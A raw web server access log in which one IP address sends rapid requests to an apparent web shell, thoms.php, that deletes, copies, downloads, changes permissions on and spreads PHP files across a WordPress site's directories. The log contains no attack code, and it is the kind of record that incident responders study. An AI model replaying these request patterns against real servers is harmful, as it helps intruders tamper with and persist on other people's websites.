45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?del=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fadmin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?del=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=index.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22941 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /booking-wise2.com.tw/data-unused/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22935 "https://163.245.207.76:443/thoms.php?chmod=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:42 -0400] "GET /thoms.php?dl=license.txt&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22920 "https://163.245.207.76:443/thoms.php?dl=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fprofile.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fprofile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?del=profile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22926 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fprofile.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22793 "https://163.245.207.76:443/thoms.php?del=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /booking-wise2.com.tw/data-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/booking-wise2.com.tw/data-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=cjfuns.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fcjfuns.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fcjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /booking-wise2.com.tw/data-unused/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22920 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=cjfuns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /booking-wise2.com.tw/data-unused/cjfuns.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22950 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Fcjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22909 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /booking-wise2.com.tw/data-unused/license.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:43 -0400] "GET /thoms.php?chmod=license.txt&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=profile.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22912 "https://163.245.207.76:443/thoms.php?chmod=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&upload= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?dl=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22922 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=license.txt HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22912 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?del=license.txt&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=admin.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?del=license.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22601 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22916 "https://163.245.207.76:443/thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22920 "https://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused&settings=1 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /booking-wise2.com.tw/wp-includes/?ND= HTTP/1.1" 200 9284 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22792 "https://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22923 "https://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fdata-unused&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /booking-wise2.com.tw/wp-includes/?SA= HTTP/1.1" 200 9335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22938 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fdata-unused%2Findex.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /booking-wise2.com.tw/wp-includes/?MA= HTTP/1.1" 200 9325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19889 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12420 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22902 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22921 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 19889 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:48:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-cron.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
